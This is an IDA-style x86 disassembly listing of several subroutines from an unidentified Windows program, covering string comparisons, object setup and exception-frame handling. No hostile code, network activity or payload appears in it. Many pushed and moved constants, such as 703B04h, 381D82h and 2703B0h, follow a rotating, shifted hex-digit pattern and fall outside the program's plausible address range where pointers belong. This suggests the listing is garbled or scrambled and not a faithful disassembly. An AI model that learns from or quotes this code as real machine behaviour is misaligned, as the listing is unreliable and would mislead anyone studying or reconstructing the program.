mov edx, ds:dword_43FF68
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Dh
call sub_4012B7
test eax, eax
jnz short loc_40F350
mov al, ds:byte_44069C
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_40F354
loc_40F350: ; CODE XREF: sub_40EB00+840j
mov [esp+20h+var_D], bl
loc_40F354: ; CODE XREF: sub_40EB00+84Ej
lea ecx, [esp+20h+arg_304]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
cmp [esp+20h+var_D], bl
jz loc_40F661
push 703B04h
lea eax, [esp+24h+arg_4C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
push 381D82h
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_43034A
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 0Fh
jz short loc_40F3B2
mov ecx, eax
call sub_401EE7
loc_40F3B2: ; CODE XREF: sub_40EB00+8A9j
push 1C0EC1h
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_43034A
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 10h
jz short loc_40F3DE
mov ecx, eax
call sub_4010AA
loc_40F3DE: ; CODE XREF: sub_40EB00+8D5j
push 4E0760h
lea ecx, [esp+24h+arg_4C]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4019BA
push 2703B0h
lea ecx, [esp+24h+arg_7C]
push ebx
push ecx
lea ecx, [esp+2Ch+arg_4C]
xor edi, edi
call sub_401622
push 1381D8h
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012B7
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_4011F9
cmp esi, ebx
jz loc_40F64C
loc_40F43F: ; CODE XREF: sub_40EB00+B46j
push 9C0ECh
call sub_43034A
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 12h
jz short loc_40F467
mov ecx, eax
call sub_401EE7
mov esi, eax
jmp short loc_40F469
; ---------------------------------------------------------------------------
loc_40F467: ; CODE XREF: sub_40EB00+95Aj
xor esi, esi
loc_40F469: ; CODE XREF: sub_40EB00+965j
push offset word_44E076
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_43034A
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 13h
jz short loc_40F49B
mov ecx, eax
call sub_4010AA
mov [esp+20h+var_C], eax
jmp short loc_40F49F
; ---------------------------------------------------------------------------
loc_40F49B: ; CODE XREF: sub_40EB00+98Cj
mov [esp+20h+var_C], ebx
loc_40F49F: ; CODE XREF: sub_40EB00+999j
push 62703Bh
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_40138E
test eax, eax
jz short loc_40F4C2
mov byte ptr [esi+93h], 1
jmp short loc_40F4C8
; ---------------------------------------------------------------------------
loc_40F4C2: ; CODE XREF: sub_40EB00+9B7j
mov [esi+93h], bl
loc_40F4C8: ; CODE XREF: sub_40EB00+9C0j
push 31381Dh
lea ecx, [esp+24h+var_8]
call sub_40138E
test eax, eax
jz short loc_40F4E3
mov byte ptr [esi+94h], 1
jmp short loc_40F4E9
; ---------------------------------------------------------------------------
loc_40F4E3: ; CODE XREF: sub_40EB00+9D8j
mov [esi+94h], bl
loc_40F4E9: ; CODE XREF: sub_40EB00+9E1j
push 589C0Eh
lea ecx, [esp+24h+var_8]
call sub_40138E
test eax, eax
jz short loc_40F504
mov byte ptr [esi+95h], 1
jmp short loc_40F50A
; ---------------------------------------------------------------------------
loc_40F504: ; CODE XREF: sub_40EB00+9F9j
mov [esi+95h], bl
loc_40F50A: ; CODE XREF: sub_40EB00+A02j
push 2C4E07h
lea edx, [esp+24h+arg_1E4]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 14h
call sub_401E65
lea ecx, [esp+20h+arg_1E4]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_4011F9
push 162703h
lea ecx, [esi+54h]
call sub_401564
push offset byte_4B1381
lea ecx, [esi+3Fh]
call sub_401564
push 2589C0h
lea eax, [esp+24h+arg_AC]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 15h
call sub_401E65
lea ecx, [esp+20h+arg_AC]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_4011F9
push 52C4E0h
lea ecx, [esp+24h+arg_214]
push edi
push ecx
lea ecx, [esp+2Ch+arg_4C]
call sub_401622
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 16h
call sub_401726
push eax
mov ecx, esi
call sub_401564
lea ecx, [esp+20h+arg_214]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_4011F9
mov ecx, [esp+20h+var_C]
push 1
push esi
call sub_401CB7
cmp esi, ebx
jz short loc_40F5F9
push 1
mov ecx, esi
call sub_4018FC
loc_40F5F9: ; CODE XREF: sub_40EB00+AEEj
mov ecx, [esp+20h+var_C]
call sub_40137F
inc edi
push 696270h
lea edx, [esp+24h+arg_7C]
push edi
push edx
lea ecx, [esp+2Ch+arg_4C]
call sub_401622
push 74B138h
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012B7
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_4011F9
cmp esi, ebx
jnz loc_40F43F
loc_40F64C: ; CODE XREF: sub_40EB00+939j
lea ecx, [esp+20h+arg_4C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40F661: ; CODE XREF: sub_40EB00+86Bj
push 3A589Ch
lea eax, [esp+24h+arg_334]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, ds:dword_43FF60
mov byte ptr [esp+20h+arg_246C], 17h
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
lea ecx, [esp+20h+arg_334]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_4011F9
cmp [esp+20h+var_D], bl
jz loc_40F97B
push 1D2C4Eh
call sub_43034A
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 18h
jz short loc_40F6DB
mov ecx, eax
call sub_401EE7
mov esi, eax
jmp short loc_40F6DD
; ---------------------------------------------------------------------------
loc_40F6DB: ; CODE XREF: sub_40EB00+BCEj
xor esi, esi
loc_40F6DD: ; CODE XREF: sub_40EB00+BD9j
push 4E9627h
mov byte ptr [esp+24h+arg_246C], bl
call sub_43034A
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 19h
jz short loc_40F70C
mov ecx, eax
call sub_4010AA
mov edi, eax
jmp short loc_40F70E
; ---------------------------------------------------------------------------
loc_40F70C: ; CODE XREF: sub_40EB00+BFFj
xor edi, edi
loc_40F70E: ; CODE XREF: sub_40EB00+C0Aj
push 674B13h
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], bl
call sub_40138E
test eax, eax
jz short loc_40F730
mov byte ptr [esi+95h], 1
jmp short loc_40F736
; ---------------------------------------------------------------------------
loc_40F730: ; CODE XREF: sub_40EB00+C25j
mov [esi+95h], bl
loc_40F736: ; CODE XREF: sub_40EB00+C2Ej
push 33A589h
lea ecx, [esp+24h+var_8]
call sub_40138E
test eax, eax
jz short loc_40F751
mov byte ptr [esi+93h], 1
jmp short loc_40F757
; ---------------------------------------------------------------------------
loc_40F751: ; CODE XREF: sub_40EB00+C46j
mov [esi+93h], bl
loc_40F757: ; CODE XREF: sub_40EB00+C4Fj
push 19D2C4h
lea ecx, [esp+24h+var_8]
call sub_40138E
test eax, eax
jz short loc_40F772
mov byte ptr [esi+94h], 1
jmp short loc_40F778
; ---------------------------------------------------------------------------
loc_40F772: ; CODE XREF: sub_40EB00+C67j
mov [esi+94h], bl
loc_40F778: ; CODE XREF: sub_40EB00+C70j
push 4CE962h
lea edx, [esp+24h+arg_274]
push ebx
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
push 2674B1h
lea ecx, [esp+24h+arg_3C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Ah
call sub_401622
push 533A58h
lea edx, [esp+24h+arg_244]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Bh
call sub_401622
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 1Ch
call sub_401E65
lea ecx, [esp+20h+arg_244]
mov byte ptr [esp+20h+arg_246C], 1Bh
call sub_4011F9
lea ecx, [esp+20h+arg_3C4]
mov byte ptr [esp+20h+arg_246C], 1Ah
call sub_4011F9
lea ecx, [esp+20h+arg_274]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
push 299D2Ch
lea eax, [esp+24h+arg_DC]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
push 14CE96h
lea ecx, [esp+24h+arg_C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Dh
call sub_401622
push eax
lea ecx, [esi+54h]
mov byte ptr [esp+24h+arg_246C], 1Eh
call sub_401E65
lea ecx, [esp+20h+arg_C4]
mov byte ptr [esp+20h+arg_246C], 1Dh
call sub_4011F9
lea ecx, [esp+20h+arg_DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
push offset byte_4A674B
lea edx, [esp+24h+arg_13C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
push 2533A5h
lea ecx, [esp+24h+arg_10C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Fh
call sub_401622
push eax
lea ecx, [esi+3Fh]
mov byte ptr [esp+24h+arg_246C], 20h
call sub_401E65
mov byte ptr [esp+20h+arg_246C], 1Fh
lea ecx, [esp+20h+arg_10C]
call sub_4011F9
lea ecx, [esp+20h+arg_13C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
push 1299D2h
lea edx, [esp+24h+arg_16C]
push 2
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 21h
call sub_401E65
lea ecx, [esp+20h+arg_16C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
push 94CE9h
lea ecx, [esp+24h+var_8]
call sub_401479
push eax
call ds:dword_44A674
add esp, 8
cmp eax, ebx
jz short loc_40F94D
add eax, 2
push eax
jmp short loc_40F952
; ---------------------------------------------------------------------------
loc_40F94D: ; CODE XREF: sub_40EB00+E45j
push 22533Ah
loc_40F952: ; CODE XREF: sub_40EB00+E4Bj
mov ecx, esi
call sub_401564
push ebx
push esi
mov ecx, edi
call sub_401CB7
cmp esi, ebx
jz short loc_40F96F
push 1
mov ecx, esi
call sub_4018FC
loc_40F96F: ; CODE XREF: sub_40EB00+E64j
mov ecx, edi
call sub_40137F
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40F97B: ; CODE XREF: sub_40EB00+BADj
push 11299Dh
lea eax, [esp+24h+arg_19C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, ds:dword_43FF84
mov byte ptr [esp+20h+arg_246C], 22h
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
lea ecx, [esp+20h+arg_19C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_4011F9
cmp [esp+20h+var_D], bl
jz loc_40FB50
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov edx, esp
mov [esp+38h+var_C], esp
push 894CEh
push 3
push edx
call sub_401622
mov esi, 8C2253h
call sub_401BAE
cmp eax, ebx
jz short loc_40FA42
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov eax, esp
mov [esp+38h+var_C], esp
push offset byte_461129
push 3
push eax
call sub_401622
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 23h
mov ecx, esp
mov [esp+50h+arg_C], esp
push 230894h
push 3
push ecx
lea ecx, [esp+5Ch+var_8]
call sub_401622
mov ecx, 0C91844h
mov byte ptr [esp+50h+arg_246C], bl
call sub_401F87
loc_40FA42: ; CODE XREF: sub_40EB00+EF3j
push 648C22h
lea edx, [esp+24h+arg_1CC]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
push 324611h
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 24h
call sub_401A7D
test eax, eax
lea ecx, [esp+20h+arg_1CC]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_4011F9
cmp [esp+20h+var_D], bl
jz loc_40FEC7
push 592308h
lea eax, [esp+24h+arg_22C]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
push 6C9184h
lea ecx, [esp+24h+arg_1FC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 25h
call sub_401622
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 26h
call sub_401726
push eax
lea ecx, [esp+24h+arg_25C]
call sub_4017A8
lea ecx, [esp+20h+arg_1FC]
mov byte ptr [esp+20h+arg_246C], 29h
call sub_4011F9
lea ecx, [esp+20h+arg_22C]
mov byte ptr [esp+20h+arg_246C], 28h
call sub_4011F9
mov eax, 2B648Ch
mov [ebp+16h], bl
call sub_401726
push eax
mov eax, 0C95B24h
call sub_401726
mov edx, ds:dword_43FF5C
push eax
push edx
push 6CAD92h
push ebp
call sub_401CDA
add esp, 14h
lea ecx, [esp+20h+arg_25C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40FB50: ; CODE XREF: sub_40EB00+EC7j
push 3656C9h
lea eax, [esp+24h+arg_28C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, ds:dword_43FF78
mov byte ptr [esp+20h+arg_246C], 2Ah
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
lea ecx, [esp+20h+arg_28C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_4011F9
cmp [esp+20h+var_D], bl
jz loc_40FD08
push 1B2B64h
lea edx, [esp+24h+arg_2EC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
push 4D95B2h
lea ecx, [esp+24h+arg_2BC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 2Bh
call sub_401622
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 2Ch
call sub_401726
push eax
lea ecx, [esp+24h+arg_34]
call sub_4017A8
lea ecx, [esp+20h+arg_2BC]
mov byte ptr [esp+20h+arg_246C], 2Fh
call sub_4011F9
lea ecx, [esp+20h+arg_2EC]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_4011F9
push 26CAD9h
lea ecx, [esp+24h+var_8]
call sub_401479
mov esi, ds:dword_4B3ADC
push eax
call esi
add esp, 8
test eax, eax
jz loc_40FCF3
push 13656Ch
lea ecx, [esp+24h+var_8]
call sub_401479
push eax
call esi
add esp, 8
lea ecx, [esp+20h+arg_64]
push eax
call sub_4017A8
push 9B2B6h
lea ecx, [esp+24h+arg_34]
mov byte ptr [esp+24h+arg_246C], 30h
call sub_4012B7
test eax, eax
jz short loc_40FCDF
push offset byte_44D95B
lea ecx, [esp+24h+arg_64]
call sub_4012B7
test eax, eax
jz short loc_40FCDF
sub esp, 18h
lea edx, [esp+38h+arg_34]
mov ecx, esp
mov [esp+38h+arg_C], esp
push edx
call sub_40146F
mov ebx, 0CC4D95h
call sub_401BAE
cmp eax, ebx
jz short loc_40FCBB
lea ecx, [esp+20h+arg_64]
push ecx
lea ecx, [eax+19h]
call sub_401E65
loc_40FCBB: ; CODE XREF: sub_40EB00+11A9j
push 6626CAh
lea ecx, [esp+24h+arg_34]
call sub_401A7D
test eax, eax
jnz short loc_40FCDF
lea edx, [esp+20h+arg_64]
mov ecx, 0EE626Ch
push edx
call sub_401E65
loc_40FCDF: ; CODE XREF: sub_40EB00+1173j
; sub_40EB00+1188j ...
lea ecx, [esp+20h+arg_64]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_4011F9
loc_40FCF3: ; CODE XREF: sub_40EB00+1134j
lea ecx, [esp+20h+arg_34]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40FD08: ; CODE XREF: sub_40EB00+109Cj
push 7F3136h
lea eax, [esp+24h+arg_34C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, ds:dword_43FF88
mov byte ptr [esp+20h+arg_246C], 31h
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
jz short loc_40FD8F
push 3F989Bh
lea edx, [esp+24h+arg_31C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, ds:dword_43FF98
mov byte ptr [esp+20h+arg_246C], 32h
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
lea ecx, [esp+20h+arg_31C]
mov byte ptr [esp+20h+arg_246C], 31h
setz [esp+20h+var_D]
call sub_4011F9
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_40FD94
loc_40FD8F: ; CODE XREF: sub_40EB00+1238j
mov [esp+20h+var_D], 1
loc_40FD94: ; CODE XREF: sub_40EB00+128Dj
lea ecx, [esp+20h+arg_34C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
cmp [esp+20h+var_D], bl
jz loc_40FEC7
push 5FCC4Dh
lea edx, [esp+24h+arg_37C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 33h
mov ecx, esp
mov [esp+38h+arg_C], esp
push 6FE626h
push ebx
push ecx
mov ecx, eax
call sub_401622
mov ecx, 29BF98h
call sub_401BAE
lea ecx, [esp+20h+arg_37C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
cmp esi, ebx
jz loc_40FEC7
push 14DFCCh
lea edx, [esp+24h+arg_3DC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 34h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset word_4A6FE6
push ebx
push ecx
mov ecx, eax
call sub_401622
push 6537F3h
lea edx, [esp+3Ch+arg_3AC]
push 1
push edx
lea ecx, [esp+44h+var_8]
mov byte ptr [esp+44h+arg_246C], 35h
call sub_401622
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 36h
mov ecx, esp
mov [esp+50h+var_C], esp
push 729BF9h
push ebx
push ecx
mov ecx, eax
call sub_401622
mov edi, 0E9CA6Fh
mov byte ptr [esp+50h+arg_246C], 37h
call sub_401F87
lea ecx, [esp+20h+arg_3AC]
mov byte ptr [esp+20h+arg_246C], 34h
call sub_4011F9
lea ecx, [esp+20h+arg_3DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
jmp short loc_40FEC7
; ---------------------------------------------------------------------------
loc_40FEC0: ; CODE XREF: sub_40EB00+391j
mov ecx, ebp
call sub_401BEA
loc_40FEC7: ; CODE XREF: sub_40EB00+1D3j
; sub_40EB00+253j ...
cmp [ebp+17h], bl
jnz loc_40EB42
loc_40FED0: ; CODE XREF: sub_40EB00+3Cj
; sub_40EB00+4Fj
lea ecx, [esp+20h+var_8]
mov [esp+20h+arg_246C], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+20h+arg_2464]
pop edi
pop esi
pop ebp
xor eax, eax
mov large fs:0, ecx
pop ebx
add esp, 2484h
retn
sub_40EB00 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 0B8h dup(0CCh)
byte_40FFB8 db 448h dup(0CCh) ; DATA XREF: _294ADE7B:00418892o
; =============== S U B R O U T I N E =======================================
sub_410400 proc near ; CODE XREF: sub_4018FCj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401893
test [esp+4+arg_0], 1
jz short loc_410418
push esi
call sub_430332
add esp, 4
loc_410418: ; CODE XREF: sub_410400+Dj
mov eax, esi
pop esi
retn 4
sub_410400 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_410430 proc near ; CODE XREF: sub_401929j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push 7CE537h
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jz short loc_410456
lea edi, [esi+11h]
jmp short loc_410458
; ---------------------------------------------------------------------------
loc_410456: ; CODE XREF: sub_410430+1Fj
xor edi, edi
loc_410458: ; CODE XREF: sub_410430+24j
push 0
push 17h
push 1
push 12h
push 4Fh
lea eax, [esp+5Ch+var_3C]
push 9
push eax
call sub_4018DE
add esp, 1Ch
push edi
mov ecx, eax
mov [esp+4Ch+var_4], 0
call sub_401726
lea ecx, [esi+250h]
push eax
push ecx
mov ecx, 0A9F394h
call sub_401523
or edi, 0FFFFFFFFh
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_4011F9
test esi, esi
jz short loc_4104AC
lea ebx, [esi+11h]
jmp short loc_4104AE
; ---------------------------------------------------------------------------
loc_4104AC: ; CODE XREF: sub_410430+75j
xor ebx, ebx
loc_4104AE: ; CODE XREF: sub_410430+7Aj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 5
push 12h
push 4Fh
lea edx, [esp+74h+var_3C]
push 9
push edx
call sub_4018DE
add esp, 34h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 1
call sub_401726
push eax
lea eax, [esi+27Eh]
push eax
mov ecx, 0EDCF9Ch
call sub_401523
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_4011F9
test esi, esi
jz short loc_41050B
lea ebx, [esi+11h]
jmp short loc_41050D
; ---------------------------------------------------------------------------
loc_41050B: ; CODE XREF: sub_410430+D4j
xor ebx, ebx
loc_41050D: ; CODE XREF: sub_410430+D9j
push 0
push 14h
push 12h
push 1
push 10h
push 4Fh
lea ecx, [esp+60h+var_3C]
push 9
push ecx
call sub_4018DE
add esp, 20h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 2
call sub_401726
lea edx, [esi+1C6h]
push eax
push edx
mov ecx, 0F6E7Ch
call sub_401523
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_4011F9
test esi, esi
jz short loc_410560
lea ebx, [esi+11h]
jmp short loc_410562
; ---------------------------------------------------------------------------
loc_410560: ; CODE XREF: sub_410430+129j
xor ebx, ebx
loc_410562: ; CODE XREF: sub_410430+12Ej
push 0
push 5
push 4
push 0Fh
push 0Dh
push 4Fh
lea eax, [esp+60h+var_3C]
push 9
push eax
call sub_4018DE
add esp, 20h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 3
call sub_401726
lea ecx, [esi+16Ah]
push eax
push ecx
mov edi, offset byte_487B73
call sub_401523
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_4011F9
test esi, esi
jz short loc_4105B5
lea ebx, [esi+11h]
jmp short loc_4105B7
; ---------------------------------------------------------------------------
loc_4105B5: ; CODE XREF: sub_410430+17Ej
xor ebx, ebx
loc_4105B7: ; CODE XREF: sub_410430+183j
push 0
push 7
push 13h
push 0Dh
push 4Fh
lea edx, [esp+5Ch+var_3C]
push 9
push edx
call sub_4018DE
add esp, 1Ch
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 4
call sub_401726
push eax
lea eax, [esi+1F4h]
push eax
mov esi, 587B7h
call sub_401523
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_4011F9
test esi, esi
jz short loc_410608
lea ebx, [esi+11h]
jmp short loc_41060A
; ---------------------------------------------------------------------------
loc_410608: ; CODE XREF: sub_410430+1D1j
xor ebx, ebx
loc_41060A: ; CODE XREF: sub_410430+1D6j
push 0
push 5
push 3
push 9
push 14h
push 0Fh
push 0Eh
push 4Fh
lea ecx, [esp+68h+var_3C]
push 9
push ecx
call sub_4018DE
add esp, 28h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 5
call sub_401726
lea edx, [esi+0B2h]
push eax
push edx
mov ebp, 0E0561Eh
call sub_401523
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_4011F9
test esi, esi
jz short loc_410661
lea ebx, [esi+11h]
jmp short loc_410663
; ---------------------------------------------------------------------------
loc_410661: ; CODE XREF: sub_410430+22Aj
xor ebx, ebx
loc_410663: ; CODE XREF: sub_410430+22Fj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 13h
push 9
push 4
push 4Fh
lea eax, [esp+78h+var_3C]
push 9
push eax
call sub_4018DE
add esp, 38h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 6
call sub_401726
lea ecx, [esi+56h]
push eax
push ecx
mov eax, offset dword_4B8158
call sub_401523
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_4011F9
test esi, esi
jz short loc_4106BF
lea ebx, [esi+11h]
jmp short loc_4106C1
; ---------------------------------------------------------------------------
loc_4106BF: ; CODE XREF: sub_410430+288j
xor ebx, ebx
loc_4106C1: ; CODE XREF: sub_410430+28Dj
push 0
push 14h
push 13h
push 0Fh
push 8
push 14h
push 5
push 7
push 4Fh
lea edx, [esp+6Ch+var_3C]
push 9
push edx
call sub_4018DE
add esp, 2Ch
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 7
call sub_401726
push eax
lea eax, [esi+10Eh]
push eax
mov edx, 0A52E05h
call sub_401523
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_4011F9
test esi, esi
jz short loc_41071A
lea ebx, [esi+11h]
jmp short loc_41071C
; ---------------------------------------------------------------------------
loc_41071A: ; CODE XREF: sub_410430+2E3j
xor ebx, ebx
loc_41071C: ; CODE XREF: sub_410430+2E8j
push 0
push 0Fh
push 6
push 0Eh
push 9
push 14h
push 5
push 0Eh
push 4Fh
lea ecx, [esp+6Ch+var_3C]
push 9
push ecx
call sub_4018DE
add esp, 2Ch
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 8
call sub_401726
lea edx, [esi+198h]
push eax
push edx
mov eax, 6DA970h
call sub_401523
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_4011F9
test esi, esi
jz short loc_410775
lea ebx, [esi+11h]
jmp short loc_410777
; ---------------------------------------------------------------------------
loc_410775: ; CODE XREF: sub_410430+33Ej
xor ebx, ebx
loc_410777: ; CODE XREF: sub_410430+343j
push 0
push 0Eh
push 9
push 0Fh
push 0Ah
push 4Fh
lea eax, [esp+60h+var_24]
push 9
push eax
call sub_4018DE
add esp, 20h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 9
call sub_401726
add esi, 13Ch
push eax
push esi
mov ebp, 22DB52h
call sub_401523
lea ecx, [esp+48h+var_24]
mov [esp+48h+var_4], edi
call sub_4011F9
mov ecx, [esp+48h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 3Ch
retn
sub_410430 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4108D0 proc near ; CODE XREF: sub_4019D8j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push 116DA9h
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push ebp
push esi
mov esi, [esp+90h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+45h]
call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jz loc_410DF9
lea ecx, [edi+26Dh]
call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jz loc_410DF9
lea ecx, [edi+0A1h]
call sub_401726
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_4109D2
push offset dword_48B6D4
lea eax, [esp+98h+var_6C]
push 2
push eax
mov ecx, esi
call sub_401622
mov ebp, eax
push 245B6Ah
lea ecx, [esp+98h+var_84]
push 1
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_401622
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 1
call sub_401726
push eax
mov ecx, esi
call sub_401726
mov edx, ds:dword_43FF58
push eax
push edx
add edi, 0FFFFFFEFh
push 122DB5h
push edi
call sub_401CDA
add esp, 14h
lea ecx, [esp+94h+var_84]
mov byte ptr [esp+94h+var_4], bl
call sub_4011F9
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_4011F9
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_4109D2: ; CODE XREF: sub_4108D0+70j
lea ecx, [edi+187h]
